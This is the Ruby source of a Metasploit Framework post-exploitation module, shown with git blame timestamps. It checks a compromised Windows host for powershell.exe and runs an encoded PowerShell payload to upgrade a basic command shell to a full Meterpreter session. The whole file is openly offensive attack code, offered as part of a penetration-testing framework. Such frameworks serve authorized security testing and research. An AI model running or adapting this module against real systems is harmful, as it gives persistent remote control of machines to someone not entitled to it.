metasploit-framework/modules/exploits/windows/local/powershell_cmd_upgrade.rb

52 lines
1.4 KiB
Ruby
Raw Normal View History

2014-02-02 19:04:38 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-02-02 19:04:38 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2014-02-10 17:02:53 +00:00
require 'msf/core/exploit/powershell'
2014-02-02 19:04:38 +00:00
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Exploit::Powershell
include Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Command Shell Upgrade (Powershell)',
'Description' => %q{
This module executes Powershell to upgrade a Windows Shell session
to a full Meterpreter session.
},
'License' => MSF_LICENSE,
'Author' => [
'Ben Campbell'
2014-02-02 19:04:38 +00:00
],
'DefaultOptions' =>
{
'WfsDelay' => 10,
},
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'shell' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0
))
end
def exploit
psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"
if file? "%WINDIR%\\System32#{psh_path}"
print_status("Executing powershell command line...")
2014-04-19 18:13:48 +00:00
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
cmd_exec(command)
2014-02-02 19:04:38 +00:00
else
fail_with(Exploit::Failure::NotVulnerable, "No powershell available.")
end
end
end